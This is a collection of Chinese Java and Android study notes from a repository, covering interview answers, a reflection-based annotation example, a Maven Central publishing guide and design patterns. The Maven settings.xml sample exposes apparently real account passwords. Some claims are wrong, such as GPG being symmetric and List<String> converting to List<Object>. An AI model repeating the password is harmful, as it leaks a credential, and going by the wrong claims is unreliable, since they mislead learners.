class的区别。**\n\n内部静态类不需要有指向外部类的引用。但非静态内部类需要持有对外部类的引用。非静态内部类能够访问外部类的静态和非静态成员。静态类不能访问外部类的非静态成员。他只能访问外部类的静态成员。一个非静态内部类不能脱离外部类实体被创建，一个非静态内部类可以访问外部类的数据和方法，因为他就在外部类里面。\n\n---\n\n**java多态的实现原理。**\n\n[http://blog.csdn.net/zzzhangzhun/article/details/51095075](http://blog.csdn.net/zzzhangzhun/article/details/51095075)\n\n当JVM执行Java字节码时，类型信息会存储在方法区中，为了优化对象的调用方法的速度，方法区的类型信息会增加一个指针，该指针指向一个记录该类方法的方法表，方法表中的每一个项都是对应方法的指针。\n\n方法区：方法区和JAVA堆一样，是各个线程共享的内存区域，用于存储已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。 \n运行时常量池：它是方法区的一部分，Class文件中除了有类的版本、方法、字段等描述信息外，还有一项信息是常量池，用于存放编译器生成的各种符号引用，这部分信息在类加载时进入方法区的运行时常量池中。 \n方法区的内存回收目标是针对常量池的回收及对类型的卸载。\n\n方法表的构造\n\n由于java的单继承机制，一个类只能继承一个父类，而所有的类又都继承Object类，方法表中最先存放的是Object的方法，接下来是父类的方法，最后是该类本身的方法。如果子类改写了父类的方法，那么子类和父类的那些同名的方法共享一个方法表项。\n\n由于这样的特性，使得方法表的偏移量总是固定的，例如，对于任何类来说，其方法表的equals方法的偏移量总是一个定值，所有继承父类的子类的方法表中，其父类所定义的方法的偏移量也总是一个定值。\n\n实例\n\n假设Class A是Class B的子类，并且A改写了B的方法的method()，那么B来说，method方法的指针指向B的method方法入口；对于A来说，A的方法表的method项指向自身的method而非父类的。\n\n流程：调用方法时，虚拟机通过对象引用得到方法区中类型信息的方法表的指针入口，查询类的方法表 ，根据实例方法的符号引用解析出该方法在方法表的偏移量，子类对象声明为父类类型时，形式上调用的是父类的方法，此时虚拟机会从实际的方法表中找到方法地址，从而定位到实际类的方法。 \n注：所有引用为父类，但方法区的类型信息中存放的是子类的信息，所以调用的是子类的方法表。\n\n---\n\n**foreach与正常for循环效率对比。**\n\n[http://904510742.iteye.com/blog/2118331](http://904510742.iteye.com/blog/2118331)\n\n直接for循环效率最高，其次是迭代器和 ForEach操作。\n作为语法糖，其实 ForEach 编译成 字节码之后，使用的是迭代器实现的，反编译后，testForEach方法如下：\n\n```\npublic static void testForEach(List list) {  \n    for (Iterator iterator = list.iterator(); iterator.hasNext();) {  \n        Object t = iterator.next();  \n        Object obj = t;  \n    }  \n}  \n```\n\n可以看到，只比迭代器遍历多了生成中间变量这一步，因为性能也略微下降了一些。\n\n---\n\n**反射机制**\n\n\n\nJAVA反射机制是在运行状态中, 对于任意一个类, 都能够知道这个类的所有属性和方法; 对于任意一个对象, 都能够调用它的任意一个方法和属性; 这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制.\n\n主要作用有三：\n\n运行时取得类的方法和字段的相关信息。\n\n创建某个类的新实例(.newInstance())\n\n取得字段引用直接获取和设置对象字段，无论访问修饰符是什么。\n\n用处如下：\n\n观察或操作应用程序的运行时行为。\n\n调试或测试程序，因为可以直接访问方法、构造函数和成员字段。\n\n通过名字调用不知道的方法并使用该信息来创建对象和调用方法。\n\n---\n\n**String类内部实现，能否改变String对象内容**\n\n[String源码分析](https://github.com/GeniusVJR/LearningNotes/blob/master/Part2/JavaSE/String源码分析.md)\n\n[http://blog.csdn.net/zhangjg_blog/article/details/18319521](http://blog.csdn.net/zhangjg_blog/article/details/18319521)\n\n---\n\n**try catch 块，try里有return，finally也有return，如何执行**\n\n[http://qing0991.blog.51cto.com/1640542/1387200](http://qing0991.blog.51cto.com/1640542/1387200)\n\n---\n\n**泛型的优缺点**\n\n优点：\n\n使用泛型类型可以最大限度地重用代码、保护类型的安全以及提高性能。\n\n泛型最常见的用途是创建集合类。\n\n缺点：\n\n在性能上不如数组快。\n\n---\n\n**泛型常用特点，List`<String>`能否转为List`<Object>`**\n\n能，但是利用类都继承自Object，所以使用是每次调用里面的函数都要通过强制转换还原回原来的类，这样既不安全，运行速度也慢。\n\n---\n\n**解析XML的几种方式的原理与特点：DOM、SAX、PULL。**\n\n[http://www.cnblogs.com/HaroldTihan/p/4316397.html](http://www.cnblogs.com/HaroldTihan/p/4316397.html)\n\n---\n\n**Java与C++对比。**\n\n[http://developer.51cto.com/art/201106/270422.htm](http://developer.51cto.com/art/201106/270422.htm)\n\n---\n\n**Java1.7与1.8新特性。**\n\n[http://blog.chinaunix.net/uid-29618857-id-4416835.html](http://blog.chinaunix.net/uid-29618857-id-4416835.html)\n\n---\n\n**JNI的使用。**\n\n[http://landerlyoung.github.io/blog/2014/10/16/java-zhong-jnide-shi-yong/](http://landerlyoung.github.io/blog/2014/10/16/java-zhong-jnide-shi-yong/)\n\n---\n\n### 集合\n\n**ArrayList、LinkedList、Vector的底层实现和区别**\n\n* 从同步性来看，ArrayList和LinkedList是不同步的，而Vector是的。所以线程安全的话，可以使用ArrayList或LinkedList，可以节省为同步而耗费的开销。但在多线程下，有时候就不得不使用Vector了。当然，也可以通过一些办法包装ArrayList、LinkedList，使我们也达到同步，但效率可能会有所降低。\n* 从内部实现机制来讲ArrayList和Vector都是使用Object的数组形式来存储的。当你向这两种类型中增加元素的时候，如果元素的数目超出了内部数组目前的长度它们都需要扩展内部数组的长度，Vector缺省情况下自动增长原来一倍的数组长度，ArrayList是原来的50%，所以最后你获得的这个集合所占的空间总是比你实际需要的要大。如果你要在集合中保存大量的数据，那么使用Vector有一些优势，因为你可以通过设置集合的初始化大小来避免不必要的资源开销。\n* ArrayList和Vector中，从指定的位置（用index）检索一个对象，或在集合的末尾插入、删除一个对象的时间是一样的，可表示为O(1)。但是，如果在集合的其他位置增加或者删除元素那么花费的时间会呈线性增长O(n-i)，其中n代表集合中元素的个数，i代表元素增加或移除元素的索引位置，因为在进行上述操作的时候集合中第i和第i个元素之后的所有元素都要执行(n-i)个对象的位移操作。LinkedList底层是由双向循环链表实现的，LinkedList在插入、删除集合中任何位置的元素所花费的时间都是一样的O(1)，但它在索引一个元素的时候比较慢，为O(i)，其中i是索引的位置，如果只是查找特定位置的元素或只在集合的末端增加、移除元素，那么使用Vector或ArrayList都可以。如果是对其它指定位置的插入、删除操作，最好选择LinkedList。\n\n**HashMap和HashTable的底层实现和区别，两者和ConcurrentHashMap的区别。**\n\n[http://blog.csdn.net/xuefeng0707/article/details/40834595](http://blog.csdn.net/xuefeng0707/article/details/40834595)\n\nHashTable线程安全则是依靠方法简单粗暴的sychronized修饰，HashMap则没有相关的线程安全问题考虑。。\n\n在以前的版本貌似ConcurrentHashMap引入了一个“分段锁”的概念，具体可以理解为把一个大的Map拆分成N个小的HashTable，根据key.hashCode()来决定把key放到哪个HashTable中。在ConcurrentHashMap中，就是把Map分成了N个Segment，put和get的时候，都是现根据key.hashCode()算出放到哪个Segment中。\n\n通过把整个Map分为N个Segment（类似HashTable），可以提供相同的线程安全，但是效率提升N倍。\n\n---\n\n**HashMap的hashcode的作用？什么时候需要重写？如何解决哈希冲突？查找的时候流程是如何？**\n\n[从源码分析HashMap](http://blog.csdn.net/codeemperor/article/details/51351247)\n\n---\n\n**Arraylist和HashMap如何扩容？负载因子有什么作用？如何保证读写进程安全？**\n\n[http://m.blog.csdn.net/article/details?id=48956087](http://m.blog.csdn.net/article/details?id=48956087)\n\n[http://hovertree.com/h/bjaf/2jdr60li.htm](http://hovertree.com/h/bjaf/2jdr60li.htm)\n\nArrayList 本身不是线程安全的。\n所以正确的做法是去用 java.util.concurrent 里的 CopyOnWriteArrayList 或者某个同步的 Queue 类。\n\nHashMap实现不是同步的。如果多个线程同时访问一个哈希映射，而其中至少一个线程从结构上修改了该映射，则它必须 保持外部同步。（结构上的修改是指添加或删除一个或多个映射关系的任何操作；仅改变与实例已经包含的键关联的值不是结构上的修改。）这一般通过对自然封装该映射的对象进行同步操作来完成。如果不存在这样的对象，则应该使用 Collections.synchronizedMap 方法来“包装”该映射。最好在创建时完成这一操作，以防止对映射进行意外的非同步访问.\n\n---\n\n**TreeMap、HashMap、LinkedHashMap的底层实现区别。**\n\n[http://blog.csdn.net/lolashe/article/details/20806319](http://blog.csdn.net/lolashe/article/details/20806319)\n\n---\n\n**Collection包结构，与Collections的区别。**\n\nCollection是一个接口，它是Set、List等容器的父接口；Collections是一个工具类，提供了一系列的静态方法来辅助容器操作，这些方法包括对容器的搜索、排序、线程安全化等等。\n\n---\n\n**Set、List之间的区别是什么?**\n\n[http://developer.51cto.com/art/201309/410205_all.htm](http://developer.51cto.com/art/201309/410205_all.htm)\n\n---\n\n**Map、Set、List、Queue、Stack的特点与用法。**\n\n[http://www.cnblogs.com/yumo/p/4908718.html](http://www.cnblogs.com/yumo/p/4908718.html)\n\nCollection 是对象集合， Collection 有两个子接口 List 和 Set\n\nList 可以通过下标 (1,2..) 来取得值，值可以重复\n\n而 Set 只能通过游标来取值，并且值是不能重复的\n\nArrayList ， Vector ， LinkedList 是 List 的实现类\n\nArrayList 是线程不安全的， Vector 是线程安全的，这两个类底层都是由数组实现的\n\nLinkedList 是线程不安全的，底层是由链表实现的   \n\n\nMap 是键值对集合\n\nHashTable 和 HashMap 是 Map 的实现类   \nHashTable 是线程安全的，不能存储 null 值   \nHashMap 不是线程安全的，可以存储 null 值  \n\nStack类：继承自Vector，实现一个后进先出的栈。提供了几个基本方法，push、pop、peak、empty、search等。\n\nQueue接口：提供了几个基本方法，offer、poll、peek等。已知实现类有LinkedList、PriorityQueue等。\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/Java注解的编写与Java的反射机制.md",
    "content": "> 最近我的助理，“娃娃”问了我一次注解应该怎么写，我想注解应该太简单了吧，从我刚开始看java代码就能看到的@Override,到后来经常挺行我加上的@SuppressWarnings，当然这些注解我们用起来，看起来都是非常简单的。并且我本人是做安卓开发的，经常用各种注解框架做界面的绑定，我就简单的说了几句，利用反射啊，不改变代码逻辑，可以起到拦截的作用啊等等。但是当我自己想从头想写一个的时候，就发现并非那么简单了，经过了几个小时的研究，打算写这么一篇文章记录一下。\n\n\n想了解注解标签的原理，我们最好先搞懂，java的反射机制。所以可能这篇文章的篇幅较长，希望大家可以认真的读完。\n\n> JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意方法和属性；这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。\n\n以上内容，来自百度文库。\n\n用我的话说java的反射机制就是，可以通过程序的编写，让程序在运行时加载使用一个全新的Classes。\n\nJava反射机制主要提供了以下功能：\n在运行时判断任意一个对象所属的类，在运行时构造任意一个类的对象，在运行时判断任意一个类所具有的成员变量和方法，在运行时调用任意一个对象的方法，生成动态代理。\n\n\n在java中，所有类的基类是Object类，在这个函数中为我们提供了getClass()的方法。这个Class是一个非常特殊的类，由于我对这部分知识理解的也不是很到位，下面借用一下百度百科的解释吧：\n> Class 类十分特殊。它和一般类一样继承自Object，其实体用以表达Java程序运行时的classes和interfaces，也用来表达enum、array、primitive Java types（boolean, byte, char, short, int, long, float, double）以及关键词void。当一个class被加载，或当加载器（class loader）的defineClass()被JVM调用，JVM 便自动产生一个Class 对象。如果您想借由“修改Java标准库源码”来观察Class 对象的实际生成时机（例如在Class的constructor内添加一个println()），这样是行不通的！因为Class并没有public constructor。\n\n\n下面我们便可以开始手动实现一个注解了：\n\n\n\n````\npackage annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Reflect {\n\tString name() default \"sunguoli\";\n}\n\n````\n\n````\npackage annotation;\n\nimport java.lang.reflect.Method;\n\npublic class ReflectProcessor {\n\tpublic void parseMethod(final Class<?> clazz) throws Exception {\n\t\tfinal Object obj = clazz.getConstructor(new Class[] {}).newInstance(new Object[] {});\n\t\tfinal Method[] methods = clazz.getDeclaredMethods();\n\t\tfor (final Method method : methods) {\n\t\t\tfinal Reflect my = method.getAnnotation(Reflect.class);\n\t\t\tif (null != my) {\n\t\t\t\tmethod.invoke(obj, my.name());\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n````\n\n\n````\npackage annotation;\n\npublic class ReflectTest {\n\n\t@Reflect\n\tpublic static void sayHello(final String name) {\n\t\tSystem.out.println(\"==>> Hi, \" + name + \" [sayHello]\");\n\t}\n\n\t@Reflect(name = \"AngelaBaby\")\n\tpublic static void sayHelloToSomeone(final String name) {\n\t\tSystem.out.println(\"==>> Hi, \" + name + \" [sayHelloToSomeone]\");\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tfinal ReflectProcessor relectProcessor = new ReflectProcessor();\n\t\trelectProcessor.parseMethod(ReflectTest.class);\n\t}\n}\n\n\n````\n\n以上我们的接口就写完了~下面看一下运行结果~\n\n\n\n\n\n\n\n\n\n![展示图.png](http://upload-images.jianshu.io/upload_images/2585384-a61b2ff9c871718d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n这样我们就测试了我们的注解，主要利用的是java的反射，在反射过程中调用了装载的方法就可以啦~\n\n> 当然啊，我知道我们这里面调用的反射只能算是反射的原理和最基本的概念，我写出来的注解，都是相当的水的注解，和各种框架中的注解几乎不可能相提并论，我最近也很留意这方面的源码，有别的收货还是会分享出来的~~\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/发布jar包到Maven中央仓库.md",
    "content": "# 发布jar包到Maven中央仓库\n\n> 当我们开发完一些java的jar的时候，可能想将它发布到远端的代码仓库，这样就可以让更多的人同样用到它。\n> 同样maven也是一个非常完备的项目，我们可以在上面下载到各种我们喜欢想要的jar包，下面将介绍一下如何将本地jar包发布到maven中央仓库。\n\n\n## 发布的全部流程\n### 注册Sonatype账号\n需要注册一个Sonatype的账号，然后在上面提交一个工单，[注册链接](https://issues.sonatype.org/secure/Signup!default.jspa )，注册之后我们需要提交一个工单，点击Create就可以创建工单了，然后我们需要填写一些它的描述信息，描述信息类似下图：\n![](https://ws2.sinaimg.cn/large/006tNbRwly1ffsyt6fjhoj318w1kcjy9.jpg)\n\n这里面填写了一个Group Id，这个一般用公司的官网就可以了，然后可能工作人员会在工单的界面进行询问这个网站的所有权是否在你的手里，只需要回答一个yes就可以了，不过如果没有官网的话，用github它所在的网址也是非常不错的。\n\n然后这个工单应该应该就已经提完了，然后需要等待工作人员的审核，如果审核完毕这个工单的状态就会变成RESOLVED状态，当这个状态的时候我们就可以提交审核了。\n\n### 下载gpg对发布的文件进行签名\ngpg应该是一个对称的加密工具，会生成公钥和私钥，[mac下载链接](https://gpgtools.org/)，[windows下载链接](http://www.gpg4win.org/download.html)，然后就可以通过命令行生成秘钥了。\n\n```\ngpg --gen-key\n```\n通过这个命令，会提示出一些东西，我们需要输入用户名，还有邮箱，然后还会弹出来一个对话框我们需要输入密码，其它的东西我们只需要敲回车就可以了，最后我们选择O，就可以了。如下图所示：\n\n![](https://ws3.sinaimg.cn/large/006tNbRwly1ffszb6utc6j31331o2wrf.jpg)\n\n\n然后我们需要把这个gpg的key，上传到服务器，如下图所示：\n![](https://ws1.sinaimg.cn/large/006tNbRwly1fft0dh64evj31kw0yhqat.jpg)\n\n\n### 配置Maven下面的setting.xml\n\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<settings xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd\">\n\n    <servers>\n      <server>\n        <id>ossrh</id>\n        <username>linSir</username>\n        <password>8888888</password>\n      </server>\n      <server>\n        <id>nexus-snapshots</id>\n        <username>linSir</username>\n        <password>Jx1523,,</password>\n      </server>\n    </servers>\n\n</settings>\n\n```\n\n这里面有三个地方我们需要注意一下，分别是<id></id>，<username></username>,<password></password>，其中username和password需要和我们提交工单的网站的账号密码所对上，id可以随便写，但是需要和pom.xml里面对上。\n这里面有个小小的坑，我在这里说一下，我们需要配置的是Maven真正用到的setting.xml，我之前一直配置的是另一个Maven下面的xml，就导致一直没有权限做这件事情，希望大家不要掉进坑里。\n\n如果用的是idea的话，可以查到Maven用到的setting.xml的位置，如下图：\n\n![Maven所在位置的截图](http://upload-images.jianshu.io/upload_images/2585384-b8645927c2126f74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n### 配置pom.xml\n\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.github.dotengine</groupId>\n    <artifactId>dotEngine-java-sdk</artifactId>\n    <version>0.1.1</version>\n    <packaging>jar</packaging>\n    <name>dotEngine-java-sdk</name>\n    <description>dot engine java sdk</description>\n    <url>https://github.com/dotEngine/dotEngine-java-sdk</url>\n\n    <licenses>\n        <license>\n            <name>Apache License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <scm>\n        <connection>scm:git:https://github.com/dotEngine/dotEngine-java-sdk</connection>\n        <developerConnection>scm:git:git@github.com:dotEngine/dotEngine-java-sdk</developerConnection>\n        <url>git@github.com:dotEngine/dotEngine-java-sdk</url>\n        <tag>0.1.0</tag>\n    </scm>\n    <issueManagement>\n        <system>GitHub Issues</system>\n        <url>https://github.com/dotEngine/dotEngine-java-sdk/issues</url>\n    </issueManagement>\n    <ciManagement>\n        <system>Web site</system>\n        <url>http://dot.cc</url>\n    </ciManagement>\n\n    <developers>\n        <developer>\n            <name>denghaizhu</name>\n            <email>haizhu12345@gmail.com</email>\n        </developer>\n        <developer>\n            <name>liulianxiang</name>\n            <email>notedit@gmail.com</email>\n        </developer>\n    </developers>\n\n\n\n    <properties>\n        <github_account>dotEngine</github_account>\n        <jwt.version>0.7.0</jwt.version>\n        <jackjson.version>2.8.1</jackjson.version>\n        <nimbus.jose.jwt>4.13.1</nimbus.jose.jwt>\n        <jdk.version>1.7</jdk.version>\n        <maven.jar.version>3.0.2</maven.jar.version>\n        <maven.compiler.version>3.5.1</maven.compiler.version>\n\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <buildNumber>${user.name}-${maven.build.timestamp}</buildNumber>\n        <bouncycastle.version>1.55</bouncycastle.version>\n        <easymock.version>3.4</easymock.version>\n        <junit.version>4.12</junit.version>\n        <powermock.version>1.6.5</powermock.version>\n        <failsafe.plugin.version>2.19.1</failsafe.plugin.version>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>${jwt.version}</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>${jackjson.version}</version>\n            <scope>provided</scope>\n        </dependency>\n    </dependencies>\n\n\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>ossrh</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>ossrh</id>\n            <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.9.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-gpg-plugin</artifactId>\n                <version>1.5</version>\n                <executions>\n                    <execution>\n                        <id>sign-artifacts</id>\n                        <phase>verify</phase>\n                        <goals>\n                            <goal>sign</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n\n            <!--<plugin>-->\n                <!--<groupId>org.sonatype.plugins</groupId>-->\n                <!--<artifactId>nexus-staging-maven-plugin</artifactId>-->\n                <!--<version>1.6.7</version>-->\n                <!--<extensions>true</extensions>-->\n                <!--<configuration>-->\n                    <!--<serverId>ossrh</serverId>-->\n                    <!--<nexusUrl>https://oss.sonatype.org/</nexusUrl>-->\n                    <!--<autoReleaseAfterClose>true</autoReleaseAfterClose>-->\n                <!--</configuration>-->\n            <!--</plugin>-->\n\n\n        </plugins>\n    </build>\n\n\n</project>\n```\n\n这个是我配置的我的项目的pom.xml，大家可以参考一下，注意的就是要和setting里面的id对上，还有一些基本的配置，大家可以参考我的项目，改成自己项目需要的。\n\n\n### 上传\n\n```\n mvn clean deploy -X\n```\n\n\n![结果](http://upload-images.jianshu.io/upload_images/2585384-aa6f7a2ba2ec0041.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n最后我们就能看到结果了,然后登陆[仓库的网站](https://oss.sonatype.org/#stagingRepositories)网站，查看我们提交的代码\n\n\n![提交完成的代码.png](http://upload-images.jianshu.io/upload_images/2585384-fed37b08edb17cf9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n### 联系工作人员close掉这个issues\n在工单的下面，就可以通知工作人员关闭这个工单的，同时我们需要在上图的界面中close掉这个，close的时候可能需要输入一些描述性信息，当关闭成功之后，再次选中这个，然后右侧还有一个release，点击之后同样需要输入描述信息，然后等几个小时，就可以在Maven的中央仓库中找到我们提交的库了。\n\n[中央仓库地址](http://search.maven.org/#search%7Cga%7C1%7C)\n\n搜索到的效果图：\n\n![效果图](http://upload-images.jianshu.io/upload_images/2585384-58eadc0aeca8818f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n以上便是上传的全部过程了，虽然有点折腾，但还是痛并快乐着的，等下一次，就不需要这么麻烦了~\n\n下一次的操作，只需要，close掉这个，然后再重新release即可\n\n\n![效果图](http://upload-images.jianshu.io/upload_images/2585384-03a88f8c439ed074.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/面向对象的六大原则以及常见的十七种设计模式.md",
    "content": "\n\n> 本文转载自：[菜刀文大神的GitHub](https://github.com/helen-x/AndroidInterview/blob/master/android/Android%20%E6%BA%90%E7%A0%81%E4%B8%AD%E7%9A%84%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F(%E4%BD%A0%E9%9C%80%E8%A6%81%E7%9F%A5%E9%81%93%E7%9A%84%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E5%85%A8%E5%9C%A8%E8%BF%99%E9%87%8C).md)\n\n# 面向对象的六大原则\n\n\n - **单一职责原则**\n\n　　所谓职责是指类变化的原因。如果一个类有多于一个的动机被改变，那么这个类就具有多于一个的职责。而单一职责原则就是指一个类或者模块应该有且只有一个改变的原因。通俗的说，即一个类只负责一项职责，将一组相关性很高的函数、数据封装到一个类中。\n\n - **开闭原则**\n\n　　对于扩展是开放的，这意味着模块的行为是可以扩展的。当应用的需求改变时，我们可以对模块进行扩展，使其具有满足那些改变的新行为。\n　　对于修改是关闭的，对模块行为进行扩展时，不必改动模块的源代码。\n\n　　通俗的说，尽量通过扩展的方式实现系统的升级维护和新功能添加，而不是通过修改已有的源代码。\n\n - **里氏替换原则**\n\n　　使用“抽象(Abstraction)”和“多态(Polymorphism)”将设计中的静态结构改为动态结构，维持设计的封闭性。任何基类可以出现的地方，子类一定可以出现。\n\n　　在软件中将一个基类对象替换成它的子类对象，程序将不会产生任何错误和异常，反过来则不成立。在程序中尽量使用基类类型来对对象进行定义，而在运行时再确定其子类类型，用子类对象来替换父类对象。\n\n - **依赖倒置原则**\n\n　　高层次的模块不应该依赖于低层次的模块，他们都应该依赖于抽象。抽象不应该依赖于具体实现，具体实现应该依赖于抽象。\n　　\n　　程序要依赖于抽象接口，不要依赖于具体实现。简单的说就是要求对抽象进行编程，不要对实现进行编程，这样就降低了客户与实现模块间的耦合（各个模块之间相互传递的参数声明为抽象类型，而不是声明为具体的实现类）。\n\n - **接口隔离原则**\n\n　　一个类对另一个类的依赖应该建立在最小的接口上。其原则是将非常庞大的、臃肿的接口拆分成更小的更具体的接口。\n\n - **迪米特原则**\n\n　　又叫作最少知识原则，就是说一个对象应当对其他对象有尽可能少的了解。\n　　通俗地讲，一个类应该对自己需要耦合或调用的类知道得最少，不关心被耦合或调用的类的内部实现，只负责调用你提供的方法。\n\n　　下面开始设计模式学习．．．　　\n# 1. Singleton（单例模式）\n\n作用：　　\n> 保证在Java应用程序中，一个类Class只有一个实例存在。\n\n好处：\n>由于单例模式在内存中只有一个实例，减少了内存开销。\n>\n　单例模式可以避免对资源的多重占用，例如一个写文件时，由于只有一个实例存在内存中，避免对同一个资源文件的同时写操作。\n　　\n>单例模式可以再系统设置全局的访问点，优化和共享资源访问。\n\n使用情况：\n>建立目录 数据库连接的单线程操作\n>\n>某个需要被频繁访问的实例对象　\n\n## 1.1 使用方法\n\n**第一种形式：**\n\n```\npublic class Singleton {\n\n    /* 持有私有静态实例，防止被引用，此处赋值为null，目的是实现延迟加载 */\n    private static Singleton instance = null;\n\n    /* 私有构造方法，防止被实例化 */\n    private Singleton() {\n    }\n\n    /* 懒汉式：第一次调用时初始Singleton，以后就不用再生成了\n    静态方法，创建实例 */\n    public static Singleton getInstance() {\n        if (instance == null) {\n            instance = new Singleton();\n        }\n        return instance;\n    }\n}\n```\n　　但是这有一个问题，不同步啊！在对据库对象进行的频繁读写操作时，不同步问题就大了。\n\n**第二种形式**：\n\n　　既然不同步那就给getInstance方法加个锁呗！我们知道使用synchronized关键字可以同步方法和同步代码块，所以：　　\n\n```\n public static synchronized Singleton getInstance() {  \n     if (instance == null) {  \n         instance = new Singleton();  \n     }  \n     return instance;  \n } \n```\n或是\n\n```\npublic static Singleton getInstance() {  \n     synchronized (Singleton.class) {  \n         if (instance == null) {  \n             instance = new Singleton();  \n         }  \n     }  \n     return instance;  \n } \n```\n\n获取Singleton实例：\n\n```\nSingleton.getInstance().方法（）\n```\n## 1.２ android中的Singleton \n\n> 软键盘管理的 InputMethodManager\n\n源码(以下的源码都是5.1的)：\n```\n205 public final class InputMethodManager {\n//.........\n211     static InputMethodManager sInstance;\n//.........\n619     public static InputMethodManager getInstance() {\n620         synchronized (InputMethodManager.class) {\n621             if (sInstance == null) {\n622                 IBinder b = ServiceManager.getService(Context.INPUT_METHOD_SERVICE);\n623                 IInputMethodManager service = IInputMethodManager.Stub.asInterface(b);\n624                 sInstance = new InputMethodManager(service, Looper.getMainLooper());\n625             }\n626             return sInstance;\n627         }\n628     }\n```\n\n　　使用的是第二种同步代码块的单例模式（可能涉及到多线程），类似的还有\n　　AccessibilityManager（View获得点击、焦点、文字改变等事件的分发管理，对整个系统的调试、问题定位等）\n　　BluetoothOppManager等。\n\n当然也有同步方法的单例实现，比如：CalendarDatabaseHelper\n\n```\n307     public static synchronized CalendarDatabaseHelper getInstance(Context context) {\n308         if (sSingleton == null) {\n309             sSingleton = new CalendarDatabaseHelper(context);\n310         }\n311         return sSingleton;\n312     }\n```\n\n**注意Application并不算是单例模式**\n\n```\n44 public class Application extends ContextWrapper implements ComponentCallbacks2 {\n\n79     public Application() {\n80         super(null);\n81     }\n```\n在Application源码中，其构造方法是公有的，意味着可以生出多个Application实例，但为什么Application能实现一个app只存在一个实例呢？请看下面：\n\n在ContextWrapper源码中：\n\n```\n50 public class ContextWrapper extends Context {\n51     Context mBase;\n52 \n53     public ContextWrapper(Context base) {\n54         mBase = base;\n55     }\n\n64     protected void attachBaseContext(Context base) {\n65         if (mBase != null) {\n66             throw new IllegalStateException(\"Base context already set\");\n67         }\n68         mBase = base;\n69     }\n```\nContextWrapper构造函数传入的base为null, 就算有多个Application实例，但是没有通过attach()绑定相关信息，没有上下文环境，三个字。\n\n  **然并卵**\n\n\n# ２. Factory（工厂模式）\n\n>　定义一个用于创建对象的接口，让子类决定实例化哪一个类。工厂方法使一个类的实例化延迟到其子类。 \n　**对同一个接口的实现类进行管理和实例化创建**\n\n![这里写图片描述](http://img.blog.csdn.net/20160620135007144)　\n\n假设我们有这样一个需求：\n\n　　动物Animal，它有行为move()。有两个实现类cat和dog。为了统一管理和创建我们设计一个工厂模式。\n　　同时两个子类有各自的行为，Cat有eatFish()，Dog有eatBone().\n\n结构图：\n![这里写图片描述](http://img.blog.csdn.net/20160620141023393)\n\nAnimal接口：\n\n```\ninterface animal {\n\tvoid move();\n}\n```\nCat类:\n\n```\npublic class Cat implements Animal{\n\n\t@Override\n\tpublic void move() {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(\"我是只肥猫，不爱动\");\n\t}\n\tpublic void eatFish() {  \n\t\tSystem.out.println(\"爱吃鱼\");\n    } \n}\n```\nDog类:\n\n```\npublic class Dog implements Animal{\n\n\t@Override\n\tpublic void move() {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(\"我是狗，跑的快\");\n\t}\n\tpublic void 